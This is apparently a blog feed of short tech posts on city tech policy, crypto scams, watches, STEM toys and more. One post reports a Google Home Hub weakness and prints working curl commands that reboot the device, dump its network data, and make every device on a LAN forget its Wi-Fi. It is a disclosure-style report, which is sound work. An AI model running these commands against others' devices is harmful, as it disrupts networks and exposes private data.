Lies, damn lies, and HQ2

There are few things certain in our world except for the uplifting tendencies of technology. I’ve spent the past few years trying to prove this to myself, at least, by interviewing hundreds of thinkers on the topic. I’ve come to a singular conclusion: when tech moves into a city, be it an iOS dev shop or a robotic facility for making widgets, things change primarily for the better. Given the recent rush to gain 25,000 or so jobs from Amazon’s HQ2 and the subsequent grumbling by cities passed over, it is difficult to refute this, but I’d like explore it.

Many cities have gained from tech, both historically and recently. Pittsburgh, for example, had a plan to become a tech city back in the early 1990s after seeing the value coming out of Carnegie Mellon and the other universities in town. Anecdotally, Pittsburgh remained a fairly depressed steel town until at least 2000. I recall walking on CMU’s campus one weekend, long after my graduation in 1997, and marveling at how the small school had blossomed thanks to an influx of tech money. Next to halls named after dead and gone thinkers and makers was the Gates building, built with the largesse of the biggest tech maker in recent history. Then Uber moved in and all hell broke loose. In 19997 the Lawrenceville neighborhood was a rundown riverfront redoubt full of brown fields and finely-made hovels. Then Uber landed there. Now it’s become the hub for multiple research and tech companies and the neighborhood has blossomed, even rating it’s own corporation and team of boosters who invite you to dine in a spot once associated with dive bars and non-ironic pierogi. A few weeks ago I enjoyed Nashville hot chicken and Manhattans in what was once a funeral home for steel workers.

In short, having tech brings about what Richard Florida called the “creative class.” This group of makers, be they chefs, artists, coders, or engineers, all come to a place and almost inevitably improve it. In some cases this creative class is disparate, spreading throughout a city like a symbiotic fungus. In other places they are centered in a single neighborhood, working their magic from the core out. I’ve seen this in many places but none more clearly than in Toledo, Ohio or Flint, Michigan where a small core of artists are working mightily to turn a city in ruin into a place to live.

And I understand that all is not rosy in the world urban growth. Uber drivers in creative-classed cities are usually people displaced from their cheap rents by rich hipsters. As a friend noted, when you gentrify a place where to those who cannot afford artisanal kombucha, let alone the rent, go? They are either thrust into the suburbs – an irony that should give cities like Grosse-Point-ringed Detroit pause – or they vanish from view even though they exist in plain sight. Nowhere is this clearer then in the refuse-strewn streets of San Francisco.

Yet cities with deep, systemic problems still debase themselves to get tech jobs. They offer tax abatements, $1 land leases, and produce cloying videos to prove that they, alone, are the hardest working of the bunch. The first and most galling effort appeared when Foxconn, a massive manufacturing company, promised to land like an alien invasion force in rural Wisconsin. The idea there was simple: Foxconn wanted tax cuts in exchange for “creating” “jobs” – scare quotes in both cases necessary. As it had in Brazil before, Foxconn promised more than it could ever deliver. From a previous report:

Foxconn has created only a small fraction of the 100,000 jobs that the government projected, and most of the work is in low-skill assembly. There is little sign that it has catalyzed Brazil’s technology sector or created much of a local supply chain.

Manufacturing jobs are not tech jobs. In the end these true manufacturing jobs will end up going to countries with historically cheap labor pools and Foxconn will use its tax breaks to build a facilities in the US to help it abate future cross-border taxes. The jobs that it will create will be done by robots and only the smartest in these rural counties will get jobs… watching robot arms lift flatscreens off of an assembly line for years. Gone are the days of ubiquitous middle class manufacturing jobs and they will never come back. The sooner the heartland accepts this the better.

So cities turn to true tech. Cities know that tech helps and they bow to its captains of industry. But why won’t tech help cities?

Tech companies reduce inefficiencies. Self-driving car companies are aimed at reducing the number of inefficient truckers on the road. Drone companies are aimed at reducing the number of inefficient postal carriers on the sidewalk. And always-on audio assistants and smart devices are there to reduce our dependence on nearly every facet of a local ecosystem including the local weatherperson, the chef with an empty restaurant but hundreds of Seamless orders, and the local cinema. They know that when they land in a place they take over, much like Wal-Mart did in its early heyday. The benefits of this takeover are myriad but the erosion of culture they bring is catastrophic. Yet mayors still don silly hats and dance a merry jig to get them to move to their blighted areas. After all, it’s far easier than actually doing something.

The answer for cities, then, is to build from within. Pittsburgh didn’t get Uber because it prayed for that rude beast to stalk its shores. It got Uber because it built one of the best robotics programs in the country. Denver and Boulder aren’t tech hubs because they gave anyone a massive abatement. They became tech hubs because they became places that techies wanted to congregate and they built networks of technologists who left their cubicles on a weekly basis and met for lunch. That’s right: in many cases, all it takes for a tech scene to thrive is for the CTOs of all the major organizations to meet over curry. The network effects created by this are manifold. In fact, some of the biggest complaints I heard in many cities was that the CTOs of corporations who called those cities home – Chase Bank, GrubHub, etc. – rarely stepped out of their carefully manicured cubicle farms. An ecosystem cannot thrive if its most successful hide. Just ask Detroit.

Cities must subsidize creative districts, not creative destruction. Cities must woo technologists with a network of rich angels, not bribery. Cities must prepare for a future that doesn’t yet exist and hope that some behemoth will find a home there. Otherwise they’re sunk.

This sort of forward thinking is done in dribs and drabs across the country. Every city has its accelerators full of potential failure. These companies quickly discover that without seed capital, St. Louis or Chicago might as well be the Death Valley. Detroit has worked hard to create a startup culture and it seems to be working but in many cases these startups are folded, Borg-like into Quicken Loans and cannot stand on their own. The south is stuck in energy production and invests little in things that would draw technologists to the beautiful cities along the coast.

Maybe this is because startups make no money. Maybe this is because innovation is expensive. And maybe the lack of long-term strategy exists because mayoral staffs turn over so quickly in these convoluted times. These are valid excuses but woe betide the city that clings to them.

New York and Virginia got HQ2 because their cultures are mercenary at worst and transient at best. They already knew the hard bargain of technology versus culture and were willing to make the deal. The tens of thousands of folks who will walk through Amazon’s doors on the first day will change Long Island City for the better and no other city will claim those benefits (and detriments.) Tech is a business. It doesn’t care where it lands as long as there are enough college-educated behinds to sit on blue inflatable desk balls and enough mouths to drink free nitro coffee. It bypasses places that are seemingly entrenched in political infighting and failed innovation and it will continue to do so until cities do for themselves what Amazon will never do: future-proof their place in the world and create a place for generations to grow and change.

 

Photo by Michael Browning on Unsplash

Metacert’ Cryptonite can catch phishing links in your email

Metacert, founded by Paul Walsh, originally began as a way to watch chat rooms for fake Ethereum scams. Walsh, who was an early experimenter in cryptocurrencies, grew frustrated when he saw hackers dumping fake links into chat rooms, resulting in users regularly losing cash to scammers.

Now Walsh has expanded his software to email. A new product built for email will show little green or red shields next to links, confirming that a link is what it appears to be. A fake link would appear red while a real PayPal link, say, would appear green. The plugin works with Apple’s Mail app on the iPhone and is called Cryptonite.

“The system utilizes the MetaCert Protocol infrastructure/registry,” said Walsh. “It contains 10 billion classified URLs. This is at the core of all of MetaCert’s products and services. It’s a single API that’s used to protect over 1 million crypto people on Telegram via a security bot and it’s the same API that powers the integration that turned off phishing for the crypto world in 2017. Even when links are shortened? MetaCert unfurls them until it finds the real destination site, and then checks the Protocol to see if it’s verified, unknown or classified as phishing. It does all this in less that 300ms.”

Walsh is also working on a system to scan for Fake News in the wild using a similar technology to his anti-phishing solution. The company is raising currently and is working on a utility token.

Walsh sees his first customers as enterprise and expects IT shops to implement the software to show employees which links are allowed, i.e. company or partner links, and which ones are bad.

“It’s likely we will approach this top down and bottom up, which is unusual for enterprise security solutions. But ours is an enterprise service that anyone can install on their phone in less than a minute,” he said. “SMEs isn’t typically a target market for email security companies but we believe we can address this massive market with a solution that’s not scary to setup and expensive to support. More research is required though, to see if our hypothesis is right.”

“With MetaCert’s security, training is reduced to a single sentence ‘if it doesn’t have a green shield, assume it’s not safe,” said Walsh.

Pure Bit, a South Korean exchange, pulls a $2.8 million exit scam

Another day, another exit scam. This time it comes to us from South Korea, where an exchange, Pure Bit, has completely shut down after raising $2.8 million in Ethereum from investors.

The exchange, which promised to deliver something call Pure Coin, was live yesterday and today is completely shut down after posting “Sorry” and “Thanks” to their communications channels.

According to a Reddit thread, the team was anonymous and that the process of building and pumping exchange tokens is a “popular trend in Korea.”

“They have gotten rid of every evidence,” wrote one reader. “Website hosted by fake name / out of Korea host / messenger / contacts were all fake too. Now their only hope is to keep on track with that ether and hope for the best.”

There is no proof yet that the team has pulled a full exit scam — there are examples of founders pretending to scam their investors to “teach them a lesson” — but given the abrupt movement of 13,000 ETH out of the collection wallet we can assume that the story ends here.

Even their chat room, hosted on their own site, is shut down.

It should be noted that South Korea has banned ICOs, giving scammers the perfect cover for absolute anonymity.

Listen to the music of a Martian sunrise

Two researchers, Dr. Domenico Vicinanza of Anglia Ruskin University and Dr. Genevieve Williams, have “sonified” a video of the 5,000th Martian sunrise captured by the Mars rover, Opportunity. The music is a representation of the experience of seeing the sun rise over the red dunes as light pierces the planet’s atmosphere.

It’s beautiful.

From the release:

Researchers created the piece of music by scanning a picture from left to right, pixel by pixel, and looking at brightness and colour information and combining them with terrain elevation. They used algorithms to assign each element a specific pitch and melody.

The quiet, slow harmonies are a consequence of the dark background and the brighter, higher pitched sounds towards the middle of the piece are created by the sonification of the bright sun disk.

Given that you are literally watching the sun rise over the sands of Mars thanks to the efforts of a little multi-wheeled robot and you can now hear the musical equivalent of this amazing breakthrough, it’s pretty hard to feel that humanity is heading toward a dark place. The next breakthrough, I suspect, will happen when we’re able to send human orchestra up there to recreate it with real instruments.

Jaquet Droz’s “Sports Watch” is a high-end, heavy-duty chrono

Watchmaker Jaquet Droz makes luxury watches that cost more than some San Francisco apartments. Now, however, they’ve decided to go “downmarket” with their Sports Watch chronograph, a handmade watch that is designed for both work and play.

The watch is a standard chronograph with big date, a complication that displays the date as two digits instead of on a rotating dial. The resulting piece looks like a haute couture Speedmaster and should cost around $15,000, an acceptable sum for a manufacture watch with Droz’s provenance given that other Droz watches can run into the $100,000s, a price that might be less appetizing to the illiquid entrepreneur.

More from the release:

True to watchmaking tradition, the hour markers are 18-carat white gold appliques. Wide Roman numerals indicate 3, 6, 9 and 12 o’clock. At 12 o’clock, Jaquet Droz features a big date, a complication traditional in fine watchmaking but rarely associated with a chronograph. Although more complex to produce than a simple date aperture, the large date offers superior readability. Again, to provide optimal readability, the latest versions of the SW Chrono feature a 45 mm dial, and a rail track over the motion work in fine watchmaking tradition.

The strap is made of “rolled-edge hand-made dark-blue fabric,” a unique addition to the luxury watch world that has thus far used rubber or metal for bands. It is water resistant to 50 meters, if you think you’re going to get wet with this thing on your wrist, and it should be on sale before the end of the year.

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This 3D printer squirts out wet paper pulp

Like a kid shooting spitballs, designer Beer Holthuis has figured out that sopping wet paper is the best material for making mischief. His 3D printer, a primitive RepRap clone that literally squirts out huge lines of paper pulp, is designed to allow artists and designers to create more sustainable 3D objects.

According to 3DPrint.com, Holthuis was searching for material that wouldn’t create waste or increase plastic pollution. He settled on ground up paper. By extruding the wet paper he is able to create a thick bead of pulp that he can then build up to create decorative objects.

“The design of the printed objects are using the possibilities and beauty of this technique,” said Holthuis. “The tactile experience, bold lines and print speed results in distinctive shapes. The objects are also durable: Printed paper is surprisingly strong.”

The interesting thing is that he uses natural binder to stick the layers together, ensuring that the entire system is recyclable. You could even feed paper into the machine and let it product the pulp automatically, thereby creating a self-feeding recycling system. Best of all, however, the objects look like something a super intelligent wasp colony would produce to trade with other cultures. Fascinating stuff.

MyPart finds that next def jam

Picture it: you have the perfect song for Kelly Clarkson. It’s a mix of genres and styles best described as “Since U Been Gone” meets “911 Is A Joke.” How do you get it in front of Kelly so she can add it to her next album (imagine her singing “My heart is on fire when you’re not there/But the Austin fire department doesn’t care”)? You talk to MyPart.

MyPart lets aspiring creators and musicians submit stuff to their favorite artists. A vetting system separates the hits from the chaff and, by ensuring the artist doesn’t see unsolicited content, reduces lawsuits. MyPart, founded in 2016, has added a number of interesting features to its platform thanks to AI and machine learning.

“MyPart has recently finalized our seed round with $1M, and were named a MassChallenge 2018 top 10 startup award finalist,” said co-founder Matan Kollnescher. “This followed a $150k pre-seed round that enabled us to achieve an MVP, strategic industry partnerships and legal validation.”

Kollnescher was a former member of the Israeli Intelligence Corps and the other co-founder, Ariel Toli Gadilov, spent time inside Intel as a finance and legal advisor. Both are skilled musicians. They’ve also hired Evan Bogart, writer of Beyoncé’s “Halo” and Rihanna’s “SOS.”

The team soft-launched and have 2,030 users and hundreds of uploads. The platform is designed to ensure that good music floats to the top and not so good music doesn’t create false positives. In fact, say the founders, MyPart can even “read” a piece of music to see if it is stylistically relevant.

“Crowdsourcing art by conducting competitions is a problematic approach due to the multiple losers (since everyone are competing over the same project) and the need for active involvement and initiative defining exact projects,” said Kollnescher. “The publishing industry barely utilizes technology at all and most conservative competitors don’t have not will be able to easily develop differentiating technology to solve quality, quantity, and relevance issues – thus continuing to have immense scaling issues.”

The platform lets good musicians get discovered, a product that could truly be useful in today’s saturated media market.

“MyPart’s A.I. approach to the industry is the first of its kind; our platform sifts through thousands of data points and looks into the ‘soul’ of a song to then sort by relevance to the famous performing artist of our user’s choice,” he said. Luckily, Kelly Clarkson loves songs about reducing state budgets due to the inability of the Austin Police Department to get these squirrels out of my back yard.

How to build STEM toys

On chilly Saturday mornings my father would fire up the kerosene heater and get the back of our garage warm. He’d turn on the old radio, constantly tuned to the local public radio station, and Wait, Wait, Don’t Tell Me or Harry Shearer would come on, clearing away the static like gust of wind through cobwebs.

“Get your old clothes on,” he’d say, sticking his head into the warm kitchen. I’d still be in my pajamas. I’d grunt and grumble. I wanted to watch TV or play with my computer or read or do anything other than sit on a milk crate in a cold garage and fix the car.

But that’s what you did. If there was something to be done on the car back in 1985 – back when I was ten and my Dad was still alive – we did it ourselves. Everything in those old engines was accessible. Nothing was packed in, nothing was covered in plastic cowlings, hidden away and out of sight. Back then you could follow the brake lines through the car just by laying underneath it. You could see which belts needed tightening, which seals were leaking, and what was going on with the spark plugs. So that’s what we did. We replaced brake pads. We pulled out the oil plug and let black crude flow from the little hole like a solid thing into a cut off milk jug. We turned little screws to fix the idle. We gapped spark plugs, changed tires, and generally did everything we could do that didn’t require a mechanic’s lift.

Sometimes the fix was easy. We’d jack up each side and put on his studded snow tires in November, just after Thanksgiving, so we could drive, the road sizzling under us, to the Ohio River Valley and up slick hills to visit our cousins. We’d check fluids and top things off. We’d replace an air or oil filter.

And other times, when the problem was too big, he’d consult the Chilton repair manual. This manual held deep arcana about the Ford Fairmont or the VW Vanagon he owned. They made a manual for almost any car, like an O’Reilly book for mechanics. The books remained pristine in that grubby garage because that book held everything we needed to know about fixing everything in the car. He took good care of them.

When we pulled the manual I knew we’d be out there for a while. The kerosene heater would hiss as I rumbled my dad’s stuff, pulling out old copper wire and magazines, avoiding the places I knew he hid guns or old copies of Mayfair. I’d try to build my own things until he needed me. One year I was working on a banjo (it never played right) and another year I made a shoulder-mounted rocket launcher (I didn’t shoot my eye out). He’d call out for tools. Monkey wrench. Needle nose. 11mm. No, the other one. The jar full of bolts he collected over the years, unsorted. He knew where everything was and he knew when he needed it. I was his assistant in the slow surgery he performed.

And I’d take part. I’d hold something while he twisted. I’d get my small hands in where his big hands didn’t fit. I’d hold the trouble light, a yellow caged thing that burned you if you touched the metal bulb cage.

Once I sprinkled water on the hot bulb. It exploded and he explained thermodynamics to me as he picked glass out of the cage and screwed in a new light.

When we were done, after hours of slow, methodical work, he’d fire up the car and we’d go for a drive. The knock would be gone (or sometimes it would be worse). The brakes would work better, the steering would be stronger, the engine would purr instead of lope. We’d drive down the street to White Castle or BW3 or just down to the highway to open the thing up and see if still drove. It always did.

Tools, not toys

The last time I did my own work on a car was in Fairfax, Virginia. My brake pads were going and I figured I’d replace them. I knew how. I bought the Chilton, bought the pads, and sat in a parking structure, jacking up the car with a little screw jack that threatened to buckle.

I put them on backwards. Front pads in the back, back pads in the front. The car drove like crap.

I gave up and took it to the Sears repair center around the corner. That was in 1999 or so, back when Sears still ruled the malls around DC.

“Missssster BIGGS,” yelled the service guy over the din of daytime TV and pneumatic tools. He was laughing.

“We fixed it, man. You did a great job, though, really,” he said. He handed me a bill.

And that was that. An entire body of knowledge lost in a heartbeat. I haven’t cracked the hood except to top up my washer fluid in two decades. Why, when the car is more robot than mechanical horse?

But those cold weekends weren’t a waste. I learned to riddle out problems, to dig through old books for good answers, to accept nothing at face value. The broken part is always out of sight – a seal, a cracked hose, a fracture in a piece of cast steel – and it’s great fun to suss it out. So I did learn something. I learned to think through physical problems by solving physical problems. I learned electronics by replacing wires. I learned patience.

Fast forward to today’s fashion for STEM toys. These toys are supposed to do all the work that my father did with me on those cold Saturdays. A little robot that runs around on the floor is supposed to replace building and learning. A box of parts that fit together like Lego and animated with a few lines of code should be enough for any kid to get a body of knowledge so deep that we won’t be plunged into a dark pit of ignorance come 2040.

But they toys don’t work. I’ve been very critical of modern STEM toys because they are just toys. The only things I’ve found remotely education are Scratch, with its BASIC-like mental syntax, and Adafruit products that require actual soldering. Every other one, from the Nintendo Labo to the broken robot at the bottom of our basement stairs, are junk.

It’s our responsibility as parents to educate. There’s not much opportunity to do that anymore. Education without a goal is empty. I learned by tearing down and building up. It’s hard to do that these days when everything is deeply disposable. But maybe there’s hope. I’ve vowed to show my kids the command line, the protocols, and the code behind their favorite games. My son owns Bitcoin and he follows the price like a stock trader. My daughter builds Raspberry Pi things on a regular basis, understanding that she holds a computer, not a toy, in her small hand. We learn how to fix broken things, opening old gadgets from my childhood, cleaning the contacts, replacing the batteries. One of our favorite games is the Dungeons & Dragons Computer Labyrinth, a game we resurrected with a little careful troubleshooting.

This fiddling is obviously not the same as what I did with my dad. I doubt I’ll be able to recreate those mornings, as much as I hated them then and love them now. Maybe my days of cold garages and NPR are over. And maybe all our children deserve are Logo Turtles made out of injection-molded plastic. But I’m willing to bet that somewhere out there there’s a kid who wants to do, not be told to do, and at the end of the project wants to feel the wind in her hair and smell a cold snap coming across the plains, crisp and clear and full of the future. And it’s our job to provide that feeling, no matter what. We can’t offload that onto a toy.

The Google Home Hub is deeply insecure

Security advocate Jerry Gamblin has posted a set of instructions – essentially basic lines of XML – that can easily pull important information off of the Google Home Hub and, in some cases, temporarily brick the device.

The Home Hub, which is essentially an Android tablet attached to a speaker, is designed to act as an in-room Google Assistant. This means it connects to Wi-Fi (and allows you to see open Wi-Fi access points near the device), receives video and photos from other devices (and broadcasts its pin), and accepts commands remotely (including a quick reboot via the command line).

The command – which consists of a simple URL call via the command line – is clearly part of the setup process. You can try this at home if you replace “hub” with the Home Hub’s local IP address.

curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot

Other one-liners expose further data, including a number of micro services:

$ curl -s http://hub:8008/setup/eureka_info | jq
{
"bssid": "cc:be:59:8c:11:8b",
"build_version": "136769",
"cast_build_revision": "1.35.136769",
"closed_caption": {},
"connected": true,
"ethernet_connected": false,
"has_update": false,
"hotspot_bssid": "FA:8F:CA:9C:AA:11",
"ip_address": "192.168.1.1",
"locale": "en-US",
"location": {
"country_code": "US",
"latitude": 255,
"longitude": 255
},
"mac_address": "11:A1:1A:11:AA:11",
"name": "Hub Display",
"noise_level": -94,
"opencast_pin_code": "1111",
"opt_in": {
"crash": true,
"opencast": true,
"stats": true
},
"public_key": "Removed",
"release_track": "stable-channel",
"setup_state": 60,
"setup_stats": {
"historically_succeeded": true,
"num_check_connectivity": 0,
"num_connect_wifi": 0,
"num_connected_wifi_not_saved": 0,
"num_initial_eureka_info": 0,
"num_obtain_ip": 0
},
"signal_level": -60,
"ssdp_udn": "11111111-adac-2b60-2102-11111aa111a",
"ssid": "SSID",
"time_format": 2,
"timezone": "America/Chicago",
"tos_accepted": true,
"uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a",
"uptime": 25244.52,
"version": 9,
"wpa_configured": true,
"wpa_id": 0,
"wpa_state": 10
}

Finally, this line causes all devices on your network to forget their Wi-Fi, forcing you to reenter the setup process.

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi

As Gamblin notes, these holes aren’t showstoppers but they are very alarming. Allowing unauthenticated access to these services is lazy at best and dangerous at worst. He also notes that these endpoints have been open for years on various Google devices, which means this is a regular part of the code base and not considered an exploit by Google.

Again, nothing here is mission critical – no Home Hub will ever save my life – but it would be nice to know that devices based on the platform have some modicum of security, even in the form of authentication or obfuscation. Today we can reboot Grandpa’s overcomplicated picture frame with a single line of code but tomorrow we may be able to reboot Grandpa’s oxygen concentrator.

The Tissot Seastar 1000 is a low-cost and high-quality Swiss diver

In the pantheon of watches there are a few that stand out. Looking for your first automatic watch? Pick up a Seiko Orange Monster. Looking for a piece with a little history? The Omega Speedmaster is your man. Looking for an entry-level Swiss diver that won’t break the bank? Tissot’s Seastar has always had you covered.

The latest version of the Seastar is an interesting catch. A few years ago – circa 2010 – the pieces were all black with bold hands and a more staid case style. Now Tissot, a Swatch Group brand, has turned the Seastar into a chunkier diver with massive bar hands and case that looks like a steel sandwich.

The $695 Seastar 1000 contains a Powermatic 80/ETA C07.111 movement with an eighty hour power reserve which means the watch contains a massive mainspring that keeps things going for most of three days without winding. The Seastar is also water resistant to 1000 feet thanks to a huge screw down crown and thick casing. The new model has an exhibition back where you can see the rotor spinning over and balance wheel. The watch also has a ceramic bezel, a fairly top-of-the-line feature in an entry level watch.

Tissot has a long and interesting history. Best known for their high-tech T-Touch watches which had touchable crystals, allowing you to activate a compass, barometer, or altimeter with a single tap, the mechanical pieces have always seemed like an afterthought. The company also produces the classic Tissot Le Locle as well as a chronograph that I absolutely loved, the T-Navigator, but that has been discontinued. The Seastar, then, is one of the few mechanical pieces they sell and at sub-$1,000 prices you’re basically getting a Swiss watch with solid power reserve and great looks.

Watch folks I’ve talked to over the past few months see a distinct upturn in the Swiss watch market. Their belief that the Apple Watch is driving sales of mechanical watches seems to be coming true, even if it means cheaper fashion watches are being decimated. Tissot sits in that sweet spot between luxury and fashion, a spot that also contains Tag Heuer and Longines. Ultimately this is an entry level watch for the beginning collector but it’s a beautiful and beefy piece and worth a look.

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